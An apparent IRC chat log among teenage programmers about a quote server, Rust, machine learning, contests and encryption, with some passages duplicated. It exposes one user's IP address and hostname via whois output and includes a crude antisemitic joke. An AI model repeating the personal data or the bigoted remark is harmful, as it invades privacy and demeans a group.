[2015-01-19T22:53:32-0500] <+Tamini> awe, alok, lbt, jacob, and i were
[2015-01-19T22:53:42-0500] <jwoglom> instant ramen, right?
[2015-01-19T22:53:45-0500] <+hardmath123> jwoglom: 104.236.156.40
[2015-01-19T22:53:45-0500] <+Tamini> trying to figure out a way to send each other ramen over the internet
[2015-01-19T22:53:59-0500] <alokpathy> Wait so who is calc0000 ?
[2015-01-19T22:54:04-0500] <+Tamini> iunno
[2015-01-19T22:54:08-0500] <+Tamini> he claims he's one of awe's friends
[2015-01-19T22:54:20-0500] <alokpathy> Oh, okay
[2015-01-19T22:54:21-0500] <nezorg> I think he might be awe
[2015-01-19T22:54:29-0500] <+hardmath123> Right, because awe doesn't have friends.
[2015-01-19T22:54:33-0500] <nezorg> no, because
[2015-01-19T22:54:39-0500] <nezorg> he joined #rust right when he came on
[2015-01-19T22:54:43-0500] <alokpathy> hardmath123: No, because all his friends were already here, duh
[2015-01-19T22:55:02-0500] <alokpathy> nezorg: Ah, okay
[2015-01-19T22:55:09-0500] <+Tamini> hmm
[2015-01-19T22:55:12-0500] <+Tamini> maybe he's awe.
[2015-01-19T22:55:19-0500] <alokpathy> I think JacobEdelman is affecting my sense of humor too.
[2015-01-19T22:55:59-0500] <+hardmath123> to the person saying huehuehuehuehue: that's not a legit quote.
[2015-01-19T22:56:21-0500] <+Tamini> that's terrible
[2015-01-19T22:56:30-0500] <+Tamini> soon we'll all turn into jacob
[2015-01-19T22:58:06-0500] <+hardmath123> http://backtick.town/~kc/qdb.txt
[2015-01-19T22:58:46-0500] <+hardmath123> enjoy
[2015-01-19T22:58:46-0500] <+Tamini> i think
[2015-01-19T22:58:52-0500] <+Tamini> you should make all quote have to be approved by you
[2015-01-19T22:58:53-0500] <+Tamini> or something
[2015-01-19T22:59:03-0500] <jwoglom> hardmath123: o/
[2015-01-19T22:59:17-0500] <+hardmath123> nah i'll just sweep it up whenever someone complains about ugliness
[2015-01-19T22:59:21-0500] <nezorg> hardmath123: perhaps newlines in between quotes?
[2015-01-19T23:00:14-0500] <+Tamini> or maybe just separate them with -----
[2015-01-19T23:00:21-0500] <nezorg> sure
[2015-01-19T23:00:32-0500] <+hardmath123> oh wow
[2015-01-19T23:00:36-0500] <+hardmath123> the best part of using hamelin
[2015-01-19T23:00:41-0500] <+hardmath123> is that i don't need to restart the server
[2015-01-19T23:00:44-0500] <+hardmath123> to change the code
[2015-01-19T23:00:46-0500] <+hardmath123> :D :D :D
[2015-01-19T23:01:16-0500] <+Tamini> :D
[2015-01-19T23:01:41-0500] <+hardmath123> also, yes, i realize this will severely bork if multiple people use it concurrently
[2015-01-19T23:02:31-0500] <nezorg> who doesn't love lockfiles
[2015-01-19T23:03:12-0500] <+hardmath123> cowsay "Banana" | nc backtick.town 1337
[2015-01-19T23:03:37-0500] <nezorg> dammit I don't have ponysay installed
[2015-01-19T23:07:53-0500] <alokpathy> I wondering what sl did the other day because I kept mistyping ls 
[2015-01-19T23:08:13-0500] <alokpathy> and the internet told me that it did the exact same thing as ls, so I could be more efficient.
[2015-01-19T23:08:18-0500] <alokpathy> The internet is a troll .-.
[2015-01-19T23:08:22-0500] <+hardmath123> :(
[2015-01-19T23:08:38-0500] <+Tamini> LOL
[2015-01-19T23:09:22-0500] <jwoglom> sl is a great utility :P
[2015-01-19T23:09:36-0500] <jwoglom> you should try suicide linux
[2015-01-19T23:09:46-0500] <alokpathy> sl is amazing
[2015-01-19T23:09:51-0500] <alokpathy> in case I'm in the mood for trains.,
[2015-01-19T23:10:00-0500] <alokpathy> I'm usually not, though.
[2015-01-19T23:10:27-0500] <+hardmath123> protip: tmux session with a bash loop saying "while true killall sl"
[2015-01-19T23:10:35-0500] <+hardmath123> alternatively, alias sl to ls, but that's boring.
[2015-01-19T23:11:21-0500] hardmath123 changed the topic to Pidgey's on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-01-19T23:11:27-0500] hardmath123 changed the topic to Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-01-19T23:11:34-0500] <+hardmath123> awe: perhaps you should set topiclock?
[2015-01-19T23:12:02-0500] nezorg changed the topic to let's chat like this
[2015-01-19T23:12:04-0500] <alokpathy> hardmath123: I mean, yeah, I fixed it with alias
[2015-01-19T23:12:15-0500] <alokpathy> but I was still trolled
[2015-01-19T23:12:48-0500] <alokpathy> In retrospect, I could have done the alias in the first place
[2015-01-19T23:12:58-0500] <nezorg> ...I just accidentally typed `ls` instead of `sl`
[2015-01-19T23:13:03-0500] hardmath123 changed the topic to Temporary qdb: http://backtick.town/~kc/qdb.txt | Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-01-19T23:14:04-0500] <alokpathy> nezorg: Not as good as when awe mistyped nicks and removed ubuntor's password
[2015-01-19T23:14:19-0500] <nezorg> heheh
[2015-01-19T23:14:22-0500] <nezorg> I remember that
[2015-01-19T23:14:29-0500] <+Tamini> lol oh yeah
[2015-01-19T23:14:34-0500] <+Tamini> awe thinks we're the same person
[2015-01-19T23:18:07-0500] <Hyper> awe: Rust has a strong static type system that don't need no stability
[2015-01-19T23:18:11-0500] <Hyper> I just came up with that
[2015-01-19T23:18:13-0500] <Hyper> I'm proud ofmyself
[2015-01-19T23:22:59-0500] <+Tamini> im so proud of you
[2015-01-19T23:23:15-0500] <alokpathy> Hyper: You did well
[2015-01-19T23:23:23-0500] <Hyper> <3
[2015-01-19T23:39:33-0500] <+Tamini> i feel like this irc channel is very bad for me
[2015-01-19T23:39:38-0500] <+Tamini> i keep not getting things done >_<
[2015-01-19T23:51:22-0500] <nezorg> you're in good company
[2015-01-19T23:52:33-0500] <LittleBobbyTables> ramenet pls
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[2015-01-20T00:05:38-0500] <+Tamini> nezorg: but you have a three hour time advantage
[2015-01-20T00:05:39-0500] <+Tamini> its not faiiiiir
[2015-01-20T00:14:19-0500] <calc0000> tamini: i haven't done anything of note since 2013
[2015-01-20T00:14:27-0500] <calc0000> i blame it all on this irc channel
[2015-01-20T00:14:37-0500] <+Tamini> this didnt exist in 2013
[2015-01-20T00:15:04-0500] <calc0000> thatsthejoke.jpg
[2015-01-20T00:15:11-0500] <+Tamini> darn
[2015-01-20T00:16:53-0500] <jwoglom> #pdgn: Channel created on Tue, 11 Nov 2014 00:36:49
[2015-01-20T00:20:56-0500] <LittleBobbyTables> happy birthday
[2015-01-20T00:21:03-0500] <LittleBobbyTables> wait he's not in here
[2015-01-20T00:21:06-0500] <+Tamini> who?
[2015-01-20T00:21:13-0500] <+Tamini> oh
[2015-01-20T00:22:09-0500] <Hyper> I haven't done anything of note since forever, so it's cool
[2015-01-20T00:25:31-0500] <@awe> Hyper: hah, but we just stabilized most of our APIs.
[2015-01-20T00:26:38-0500] <Hyper> awe: sure you did
[2015-01-20T00:26:45-0500] <Hyper> "stabilied"
[2015-01-20T00:26:49-0500] <Hyper> we'll see
[2015-01-20T00:27:32-0500] awe sets mode +t
[2015-01-20T00:27:37-0500] <@awe> Wasn't +t already set here?
[2015-01-20T00:28:28-0500] <+Tamini> wait
[2015-01-20T00:28:31-0500] <+Tamini> is it jacob's birthday?
[2015-01-20T00:30:58-0500] <alokpathy> It's Jacob's birthday?
[2015-01-20T00:31:01-0500] <alokpathy> wat
[2015-01-20T00:35:00-0500] <LittleBobbyTables> michaels
[2015-01-20T00:35:37-0500] <+Tamini> oh
[2015-01-20T00:38:00-0500] <alokpathy> failedxyz?
[2015-01-20T00:38:42-0500] <LittleBobbyTables> yeah
[2015-01-20T01:00:52-0500] <LittleBobbyTables> Which UNIX directory is equivalent to the Window's Program Files folder? 
[2015-01-20T01:00:57-0500] <LittleBobbyTables>  /usr/local right
[2015-01-20T01:01:14-0500] <ubuntor> probably /usr/
[2015-01-20T01:01:48-0500] <LittleBobbyTables> wasn't an option
[2015-01-20T01:01:49-0500] <jwoglom> there isn't an exact equivilent, but /usr is a common one
[2015-01-20T01:02:01-0500] <LittleBobbyTables> home, applications, programs, /usr/local, /usr/programs
[2015-01-20T01:02:11-0500] <LittleBobbyTables> ^assume absolute paths
[2015-01-20T01:02:48-0500] <ubuntor> i guess /usr/local makes sense
[2015-01-20T01:03:07-0500] <jwoglom>  /usr/programs is not a conventional unix path
[2015-01-20T01:03:22-0500] <ubuntor> those first three...
[2015-01-20T01:03:31-0500] <LittleBobbyTables> lol
[2015-01-20T01:03:53-0500] <LittleBobbyTables> I like how a lot of these questions assume no aliases are set up
[2015-01-20T01:03:55-0500] <LittleBobbyTables> It makes me sad
[2015-01-20T01:14:14-0500] <+Tamini> lol jwoglom: i find it funny how you tell me i should sleep
[2015-01-20T01:14:33-0500] <jwoglom> i never said i was perfect :P
[2015-01-20T01:18:22-0500] <LittleBobbyTables> hmmm
[2015-01-20T01:18:29-0500] <LittleBobbyTables> I need to change my cursor color...
[2015-01-20T01:18:42-0500] <LittleBobbyTables> It looks bad on flux
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[2015-01-20T06:30:07-0500] <+JacobEdelman> I have rearrived
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[2015-01-20T10:09:16-0500] <+JacobEdelman> awe: i just learned that some rust comments effect the program itself
[2015-01-20T10:09:19-0500] <+JacobEdelman> what is this?
[2015-01-20T10:09:28-0500] <+JacobEdelman> what has mozilla wrought?
[2015-01-20T10:33:55-0500] <+hardmath123> heh, i found HTTP headers in the qdb
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[2015-01-20T10:50:05-0500] <+JacobEdelman> ?
[2015-01-20T11:05:15-0500] <+hardmath123> someone tried to access the qdb submission server over http, and so the submitter submit the http request headers as a quote
[2015-01-20T11:05:27-0500] <+hardmath123> GET / HTTP/1.1
[2015-01-20T11:05:29-0500] <+hardmath123> Host: backtick.town:1337
[2015-01-20T11:05:31-0500] <+hardmath123> etc.
[2015-01-20T11:05:54-0500] <nezorg> [07:42] (+JacobEdelman) 10:09:16> awe: i just learned that some rust comments effect the program itself
[2015-01-20T11:05:55-0500] <nezorg> huh?
[2015-01-20T11:06:28-0500] <nezorg> hardmath123: very nice on them
[2015-01-20T11:07:57-0500] <+hardmath123> JacobEdelman: at some point i read of a js implementation where you were encouraged to use less whitespace because it slowed down *execution*.
[2015-01-20T11:14:06-0500] <+JacobEdelman> `both of those things are stupid
[2015-01-20T11:14:15-0500] <+JacobEdelman> I just thought rust was better than that
[2015-01-20T11:14:51-0500] <+JacobEdelman> rust has some stuff you can declare properties or traits or something in comments
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[2015-01-20T00:27:37-0500] <@awe> Wasn't +t already set here?
[2015-01-20T00:28:28-0500] <+Tamini> wait
[2015-01-20T00:28:31-0500] <+Tamini> is it jacob's birthday?
[2015-01-20T00:30:58-0500] <alokpathy> It's Jacob's birthday?
[2015-01-20T00:31:01-0500] <alokpathy> wat
[2015-01-20T00:35:00-0500] <LittleBobbyTables> michaels
[2015-01-20T00:35:37-0500] <+Tamini> oh
[2015-01-20T00:38:00-0500] <alokpathy> failedxyz?
[2015-01-20T00:38:42-0500] <LittleBobbyTables> yeah
[2015-01-20T01:00:52-0500] <LittleBobbyTables> Which UNIX directory is equivalent to the Window's Program Files folder? 
[2015-01-20T01:00:57-0500] <LittleBobbyTables>  /usr/local right
[2015-01-20T01:01:14-0500] <ubuntor> probably /usr/
[2015-01-20T01:01:48-0500] <LittleBobbyTables> wasn't an option
[2015-01-20T01:01:48-0500] <jwoglom> there isn't an exact equivilent, but /usr is a common one
[2015-01-20T01:02:01-0500] <LittleBobbyTables> home, applications, programs, /usr/local, /usr/programs
[2015-01-20T01:02:11-0500] <LittleBobbyTables> ^assume absolute paths
[2015-01-20T01:02:48-0500] <ubuntor> i guess /usr/local makes sense
[2015-01-20T01:03:07-0500] <jwoglom>  /usr/programs is not a conventional unix path
[2015-01-20T01:03:22-0500] <ubuntor> those first three...
[2015-01-20T01:03:31-0500] <LittleBobbyTables> lol
[2015-01-20T01:03:53-0500] <LittleBobbyTables> I like how a lot of these questions assume no aliases are set up
[2015-01-20T01:03:55-0500] <LittleBobbyTables> It makes me sad
[2015-01-20T01:14:14-0500] <+Tamini> lol jwoglom: i find it funny how you tell me i should sleep
[2015-01-20T01:14:33-0500] <jwoglom> i never said i was perfect :P
[2015-01-20T01:18:22-0500] <LittleBobbyTables> hmmm
[2015-01-20T01:18:29-0500] <LittleBobbyTables> I need to change my cursor color...
[2015-01-20T01:18:42-0500] <LittleBobbyTables> It looks bad on flux
[2015-01-20T06:30:07-0500] <+JacobEdelman> I have rearrived
[2015-01-20T10:09:16-0500] <+JacobEdelman> awe: i just learned that some rust comments effect the program itself
[2015-01-20T10:09:19-0500] <+JacobEdelman> what is this?
[2015-01-20T10:09:28-0500] <+JacobEdelman> what has mozilla wrought?
[2015-01-20T10:33:55-0500] <+hardmath123> heh, i found HTTP headers in the qdb
[2015-01-20T10:50:05-0500] <+JacobEdelman> ?
[2015-01-20T11:05:15-0500] <+hardmath123> someone tried to access the qdb submission server over http, and so the submitter submit the http request headers as a quote
[2015-01-20T11:05:27-0500] <+hardmath123> GET / HTTP/1.1
[2015-01-20T11:05:29-0500] <+hardmath123> Host: backtick.town:1337
[2015-01-20T11:05:31-0500] <+hardmath123> etc.
[2015-01-20T11:05:53-0500] <nezorg> [07:42] (+JacobEdelman) 10:09:16> awe: i just learned that some rust comments effect the program itself
[2015-01-20T11:05:55-0500] <nezorg> huh?
[2015-01-20T11:06:28-0500] <nezorg> hardmath123: very nice on them
[2015-01-20T11:07:57-0500] <+hardmath123> JacobEdelman: at some point i read of a js implementation where you were encouraged to use less whitespace because it slowed down *execution*.
[2015-01-20T11:14:06-0500] <+JacobEdelman> `both of those things are stupid
[2015-01-20T11:14:15-0500] <+JacobEdelman> I just thought rust was better than that
[2015-01-20T11:14:51-0500] <+JacobEdelman> rust has some stuff you can declare properties or traits or something in comments
[2015-01-20T11:21:03-0500] <+JacobEdelman> machine learning is weird
[2015-01-20T11:22:04-0500] <+JacobEdelman> it seems that we have no idea how deep learning and stuff really works, I mean, we know it learns and improves and is able to identify stuff, but we have no idea how or what features it is looking for
[2015-01-20T11:22:36-0500] <+JacobEdelman> it's like a magical black box that learns stuff
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[2015-01-20T11:30:45-0500] <@awe> JacobEdelman: that's not true, they're not  comments.
[2015-01-20T11:30:55-0500] <@awe> JacobEdelman: what you're thinking of is crate attributes which are *not* comments.
[2015-01-20T11:31:11-0500] <+JacobEdelman> they look like comments
[2015-01-20T11:31:14-0500] <@awe> No, they don't.
[2015-01-20T11:31:20-0500] <@awe> Comments look like this: // this is a comment.
[2015-01-20T11:31:25-0500] <+JacobEdelman> oh
[2015-01-20T11:31:33-0500] <@awe> #![cfg(windows)] does not look like a comment.
[2015-01-20T11:31:36-0500] <+JacobEdelman> and the syntax just happens to grey them out?
[2015-01-20T11:31:47-0500] <@awe> No, syntax doesn't grey them out. Your syntax highlighting does.
[2015-01-20T11:31:54-0500] <+JacobEdelman> it was on some site, but okay
[2015-01-20T11:31:56-0500] <+JacobEdelman> fine
[2015-01-20T11:31:59-0500] <+JacobEdelman> I still don't like it
[2015-01-20T11:32:03-0500] <+JacobEdelman> but I'll live with it
[2015-01-20T11:32:07-0500] <+JacobEdelman> rust may continue existing
[2015-01-20T11:32:09-0500] <@awe> That's because you don't understand it.
[2015-01-20T11:33:05-0500] <nezorg> gotta love awe
[2015-01-20T11:38:06-0500] <@awe> JacobEdelman: for the record, my vim highlighting makes it green, and comments are grey.
[2015-01-20T11:39:41-0500] <+JacobEdelman> ah, okay
[2015-01-20T11:40:11-0500] <@awe> Also, they're not always crate attributes, there's also normal attributes that are #[cfg(windows)]
[2015-01-20T11:52:04-0500] <+JacobEdelman> I repeat machine learning is weird
[2015-01-20T11:52:08-0500] <+JacobEdelman> I'm looking at a tutorial
[2015-01-20T11:52:27-0500] <+JacobEdelman> where a guy is implementing LSTM neural networks, the state of the art algo for a bunch of machine learning stuff
[2015-01-20T11:52:38-0500] <+JacobEdelman> and it's like 50 lines of python code
[2015-01-20T11:58:15-0500] <+JacobEdelman> I mean, reading these articles on this stuff is surreal, it's like: we tried running neural networks on this stuff in order to find out what it could do, and to our surprise it did ....
[2015-01-20T11:58:28-0500] <+JacobEdelman> they really don't udnerstand it's capabilities that well
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[2015-01-20T12:12:50-0500] <@awe> JacobEdelman: I'm in my probability class and my professor brought up examples of applications and I've done a good number of his examples.
[2015-01-20T12:12:56-0500] <@awe> JacobEdelman: e.g. markov chains, deep learning
[2015-01-20T12:13:03-0500] <+JacobEdelman> what do you mean by deep learning?
[2015-01-20T12:13:06-0500] <@awe> not that we actually implemented the deep learning part.
[2015-01-20T12:13:11-0500] <@awe> He basically described vear.ch.
[2015-01-20T12:13:19-0500] <+JacobEdelman> what have you done in it? any of the algo?
[2015-01-20T12:13:24-0500] <@awe> No.
[2015-01-20T12:13:36-0500] <+JacobEdelman> ah, okay
[2015-01-20T12:13:37-0500] <@awe> but I thought it was funny that I had done what he described using a deep learning library
[2015-01-20T12:13:40-0500] <+JacobEdelman> its cool stuff
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[2015-01-20T12:13:35-0500] <@awe> but I thought it was funny that I had done what he described using a deep learning library
[2015-01-20T12:13:38-0500] <+JacobEdelman> its cool stuff
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[2015-01-20T12:13:35-0500] <@awe> but I thought it was funny that I had done what he described using a deep learning library
[2015-01-20T12:13:38-0500] <+JacobEdelman> its cool stuff
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[2015-01-20T13:14:09-0500] <alokpathy> Hello assface 
[2015-01-20T13:14:14-0500] <assface> allo
[2015-01-20T13:14:42-0500] <assface> jesus saves
[2015-01-20T13:14:47-0500] <alokpathy> assface: Welcome to pdgn
[2015-01-20T13:14:53-0500] assface has userhost jack@pdgn-u0d.vad.0ks5r0.IP and real name "Unknown"
[2015-01-20T13:14:53-0500] assface is connecting from jack@wsip-98-188-150-207.sb.sd.cox.net 98.188.150.207
[2015-01-20T13:14:53-0500] assface is on #pdgn 
[2015-01-20T13:14:53-0500] assface is connected on irc.pdgn.co (Pidgeon Company)
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[2015-01-20T13:15:02-0500] <nezorg> assface: eyyyyy
[2015-01-20T13:15:05-0500] <assface> so.... was ist this?
[2015-01-20T13:15:26-0500] <nezorg> idk, you're an interesting person who goes to my school that I don't know very well
[2015-01-20T13:15:34-0500] <nezorg> and I like knowing interesting people at my school
[2015-01-20T13:15:40-0500] <nezorg> so I thought I might as well invite you here :P
[2015-01-20T13:15:51-0500] <assface> mmkay
[2015-01-20T13:16:14-0500] <nezorg> do you still do c++?
[2015-01-20T13:16:19-0500] <alokpathy> assface: a group of kids who participated in pico, basically
[2015-01-20T13:16:23-0500] <nezorg> I haven't really talked to you in a while
[2015-01-20T13:16:27-0500] <alokpathy> assface: with a few exceptions
[2015-01-20T13:16:53-0500] <assface> ya
[2015-01-20T13:17:00-0500] <nezorg> mmmm
[2015-01-20T13:17:19-0500] <assface> havent really done anything in awhile tho
[2015-01-20T13:17:32-0500] <nezorg> you're not in good company wrt that then
[2015-01-20T13:17:32-0500] <nezorg> wanna learn some hacking stuff?
[2015-01-20T13:18:13-0500] <assface> loik wut?
[2015-01-20T13:19:31-0500] <assface> byebye nau
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[2015-01-20T13:45:44-0500] <@awe> o ok
[2015-01-20T13:45:53-0500] <@awe> Bye, Jack.
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[2015-01-20T14:03:48-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-20T13:45:52-0500] <@awe> Bye, Jack.
[2015-01-20T14:03:48-0500] Mode is +nst
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[2015-01-20T14:15:58-0500] <Tamini_> oh my god
[2015-01-20T14:16:05-0500] <Tamini_> i cannot calculus this is really bad
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[2015-01-20T15:17:31-0500] <assface> back in black motherhubbards
[2015-01-20T15:21:19-0500] <+JacobEdelman> awe: when is markov bot coming back?
[2015-01-20T15:21:34-0500] <+JacobEdelman> arseface: describe yourself in 3 words or less
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[2015-01-20T16:14:16-0500] <+JacobEdelman> this place is unusally quiet
[2015-01-20T16:14:19-0500] <+JacobEdelman> why?
[2015-01-20T16:14:49-0500] <Tamini_> lol
[2015-01-20T16:14:56-0500] <Tamini_> because school just ended
[2015-01-20T16:17:17-0500] <+JacobEdelman> hmmm... it ended over an hour ago for me
[2015-01-20T16:22:19-0500] <Tamini_> lucky you
[2015-01-20T16:25:26-0500] <+JacobEdelman> .... I have to get up at 6:15 to make my bus, I'd much rather it just open an hour later
[2015-01-20T16:35:33-0500] <Tamini_> haha
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[2015-01-20T16:48:32-0500] <Tamini_> sup apothy
[2015-01-20T16:48:50-0500] <alokpathy> Tamini_: soup
[2015-01-20T16:49:02-0500] <alokpathy> Tamini_: I think a lot of people bombed USACO silver
[2015-01-20T16:49:17-0500] <Tamini_> apparently a lot of people bombed usaco everything
[2015-01-20T16:50:20-0500] <Tamini_> did you guys have f=ma yet
[2015-01-20T16:50:36-0500] <alokpathy> Tamini_: We might have
[2015-01-20T16:50:38-0500] <alokpathy> I didn't do it.
[2015-01-20T16:50:46-0500] <alokpathy> Yeah, like
[2015-01-20T16:50:55-0500] <alokpathy> Silver 1 was actually not a #1
[2015-01-20T16:51:14-0500] <alokpathy> It would have been more appropriate to switch 2 and 1
[2015-01-20T16:53:11-0500] <Tamini_> aw
[2015-01-20T16:54:40-0500] <alokpathy> Apparently they're re-grading?
[2015-01-20T16:55:36-0500] <+JacobEdelman> I'm assuming they are regrading because my points overflowed, they really shouldve used a bignumber for my points, rather than an integer
[2015-01-20T16:55:50-0500] <+JacobEdelman> :P
[2015-01-20T16:56:12-0500] <alokpathy> Your points overflowed?
[2015-01-20T16:56:13-0500] <alokpathy> wat
[2015-01-20T16:56:42-0500] <+JacobEdelman> :P
[2015-01-20T16:56:51-0500] <alokpathy> Oh, you're joking.
[2015-01-20T16:57:03-0500] <Tamini_> lool
[2015-01-20T16:58:30-0500] <+JacobEdelman> http://acronyms.thefreedictionary.com/LOOL ?
[2015-01-20T16:59:56-0500] <Tamini_> oh this freshman
[2015-01-20T17:00:05-0500] <Tamini_> was telling me a story about his friend at mit today
[2015-01-20T17:00:10-0500] <Tamini_> basically he was like
[2015-01-20T17:00:38-0500] <Tamini_> "so he has two classes he has to go to, one is at harvard and ends at 3:30, another is at mit and starts at 3:30"
[2015-01-20T17:00:46-0500] <Tamini_> what would be the best way to solve this problem
[2015-01-20T17:01:35-0500] <+JacobEdelman> hmmm..... take neither?
[2015-01-20T17:01:37-0500] <+JacobEdelman> (I
[2015-01-20T17:01:45-0500] <+JacobEdelman> (I'm trying to think like a college student)
[2015-01-20T17:01:53-0500] <+JacobEdelman> (cause college students don't actually work)
[2015-01-20T17:02:54-0500] <Tamini_> lol
[2015-01-20T17:40:31-0500] <nezorg> Tamini_: my f=ma is on friday
[2015-01-20T17:40:46-0500] <Tamini_> tomorrow for me :(
[2015-01-20T17:40:52-0500] <Tamini_> bca had it already apparently
[2015-01-20T17:41:03-0500] <nezorg> I have unfortuately forgotten physics
[2015-01-20T17:41:37-0500] <nezorg> ...which is particularly bad considering I'm supposed to be the physics person on our science bowl team
[2015-01-20T17:41:45-0500] <Tamini_> have a review session with me
[2015-01-20T17:41:49-0500] <Tamini_> and ooh are you guys good
[2015-01-20T17:42:02-0500] <nezorg> we're alright
[2015-01-20T17:42:22-0500] <Tamini_> one guy i met at math camp goes to north hollywood so
[2015-01-20T17:42:23-0500] <Tamini_> lol
[2015-01-20T17:42:39-0500] <nezorg> we used to go to the regional in bakersfield
[2015-01-20T17:42:47-0500] <nezorg> and won several years in a row
[2015-01-20T17:42:52-0500] <nezorg> ...but they bumped us to LA
[2015-01-20T17:42:56-0500] <nezorg> and now we don't do so well :/
[2015-01-20T17:43:03-0500] <nezorg> there's one OP school
[2015-01-20T17:43:11-0500] <nezorg> that has a class specifically for training for it
[2015-01-20T17:45:18-0500] <Tamini_> loool
[2015-01-20T17:45:33-0500] <Tamini_> the one that wins nats every year?
[2015-01-20T17:45:35-0500] <Tamini_> :P
[2015-01-20T17:46:19-0500] <nezorg> yeah
[2015-01-20T17:46:22-0500] <nezorg> oh
[2015-01-20T17:46:24-0500] <nezorg> nats?
[2015-01-20T17:46:53-0500] <nezorg> wassat
[2015-01-20T17:47:09-0500] <Tamini_> nationals
[2015-01-20T17:47:18-0500] <nezorg> oh
[2015-01-20T17:47:25-0500] <Tamini_> because thats north hollywood and they're godly
[2015-01-20T17:48:52-0500] <nezorg> oh, it's not them
[2015-01-20T17:48:58-0500] <nezorg> there are two LA regionals
[2015-01-20T17:49:16-0500] <nezorg> (one for LAUSD schools, one for non-LAUSD schools)
[2015-01-20T17:49:24-0500] <nezorg> no one else in our county does it :P
[2015-01-20T17:51:14-0500] <Tamini_> ohh
[2015-01-20T17:51:16-0500] <Tamini_> lol
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[2015-01-20T17:52:29-0500] <+JacobEdelman> arseface: describe yourself in 3 words or less?
[2015-01-20T17:53:41-0500] <nezorg> s/less/fewer/
[2015-01-20T17:53:47-0500] <Tamini_> OH WAIT
[2015-01-20T17:53:52-0500] <assface> mmkay
[2015-01-20T17:53:52-0500] <Tamini_> i want to have this discussion
[2015-01-20T17:53:58-0500] <Tamini_> so my friend says less words
[2015-01-20T17:54:05-0500] <Tamini_> because he claims words are continuous
[2015-01-20T17:54:10-0500] <+JacobEdelman> nezorg; I got an 800 on reading on SAT, ergo I no longer need to english
[2015-01-20T17:54:16-0500] <nezorg> Tamini_: ...wat
[2015-01-20T17:54:26-0500] <Tamini_> words are not discrete entities because
[2015-01-20T17:54:28-0500] <+JacobEdelman> arseface: your 3 words or less is "mmkay"?
[2015-01-20T17:54:34-0500] <assface> da
[2015-01-20T17:54:40-0500] <Tamini_> you can have fractional words apparently
[2015-01-20T17:54:44-0500] <+JacobEdelman> nice
[2015-01-20T17:54:52-0500] <nezorg> Tamini_: well fractional is still countable
[2015-01-20T17:54:56-0500] <nezorg> but not continuous
[2015-01-20T17:55:13-0500] <Tamini_> you could totally have sqrt2 words
[2015-01-20T17:55:14-0500] <Tamini_> duh
[2015-01-20T17:55:19-0500] <assface> if you want more words, I can also give you "pope blaster"
[2015-01-20T17:55:31-0500] <+JacobEdelman> arseface: nah, thats enough
[2015-01-20T17:55:32-0500] <+JacobEdelman> gtg
[2015-01-20T17:55:56-0500] <assface> >arseface
[2015-01-20T17:58:56-0500] <Tamini_> lol
[2015-01-20T17:59:37-0500] <nezorg> assface: so what kinds of projects have you worked on in the last few years?
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[2015-01-20T17:59:56-0500] <nezorg> assface: so what kinds of projects have you worked on in the last few years? (don't think you saw that before you left)
[2015-01-20T18:00:13-0500] <nezorg> the last thing I remember talking to you about was opengl stuff
[2015-01-20T18:00:28-0500] <assface> yeah, sorry I just moved
[2015-01-20T18:00:31-0500] <assface> I'v mostly got a bunch of half-completed projects sitting on my hard drive
[2015-01-20T18:00:44-0500] <nezorg> sounds like me! :P
[2015-01-20T18:00:51-0500] <assface> none of which are likely to ever get finished
[2015-01-20T18:01:08-0500] <nezorg> like what though?
[2015-01-20T18:01:23-0500] <assface> a lot of network stuff
[2015-01-20T18:01:41-0500] <assface> like, I made an rsync clone that doesn't work very well
[2015-01-20T18:01:50-0500] <nezorg> heheh
[2015-01-20T18:02:37-0500] <nezorg> rsync would be hard to recreate without a lot of the theoretical stuff behind it
[2015-01-20T18:02:55-0500] <assface> it actually was more similar to an ftp server
[2015-01-20T18:03:13-0500] <assface> it would just read straight from a file, encrypt it, and send it off though TCP
[2015-01-20T18:03:29-0500] <nezorg> ah, cool
[2015-01-20T18:03:33-0500] <nezorg> what kind of encryption? :P
[2015-01-20T18:03:53-0500] <assface> uh
[2015-01-20T18:04:15-0500] <assface> curve39951 I think
[2015-01-20T18:04:28-0500] <assface> it was the sodium library
[2015-01-20T18:04:33-0500] <nezorg> 25519
[2015-01-20T18:04:35-0500] <nezorg> pretty close
[2015-01-20T18:04:36-0500] <nezorg> :P
[2015-01-20T18:04:40-0500] <assface> yeah
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[2015-01-20T18:04:58-0500] <assface> The Master is gone D:
[2015-01-20T18:05:01-0500] • nezorg: is glad you at least know how to crypto
[2015-01-20T18:05:12-0500] <Tamini_> lol
[2015-01-20T18:05:20-0500] <Tamini_> nezorg doesnt trust anything but ecc :P
[2015-01-20T18:05:27-0500] <assface> I wouldn't either
[2015-01-20T18:05:45-0500] <nezorg> Tamini_: well more like so many people use aes-128-ecb and think it's good
[2015-01-20T18:06:40-0500] <assface> it still is probably
[2015-01-20T18:06:55-0500] <assface> the margins they set for what is good crypto are pretty big
[2015-01-20T18:07:20-0500] <assface> Hell, DSA is still secure against your average script kiddie
[2015-01-20T18:07:30-0500] <jwoglom> assface: what prompted you to choose your interesting nickname? :P
[2015-01-20T18:07:42-0500] <nezorg> assface: well, aes-128-ecb is really bad because it's ECB
[2015-01-20T18:08:15-0500] <assface> I have a few innernet names and assface is one of them
[2015-01-20T18:08:46-0500] <assface> others include: popefucker, king_radical, and anonymous
[2015-01-20T18:09:13-0500] <Tamini_> well then
[2015-01-20T18:09:23-0500] <nezorg> you're anonymous? :o
[2015-01-20T18:09:30-0500] <nezorg> you must have mad skillz brah
[2015-01-20T18:09:32-0500] <assface> yup
[2015-01-20T18:09:38-0500] <assface> anominous
[2015-01-20T18:09:39-0500] <nezorg> ddosing takes so much brain power
[2015-01-20T18:09:47-0500] <jwoglom> assface: damn man
[2015-01-20T18:09:51-0500] <jwoglom> are you friends with that guy named four chan
[2015-01-20T18:10:06-0500] <assface> mmhmm
[2015-01-20T18:10:22-0500] <assface> we blaze it up every third sunday and yell about the jews
[2015-01-20T18:10:39-0500] <jwoglom> sounds like a cool guy
[2015-01-20T18:10:44-0500] <assface> fuckin' pacman can't add a key to the keyring...
[2015-01-20T18:11:30-0500] <nezorg> don't you just use gpg for that?
[2015-01-20T18:11:41-0500] <assface> pacman is supposed to do it automatically
[2015-01-20T18:11:46-0500] <nezorg> huh
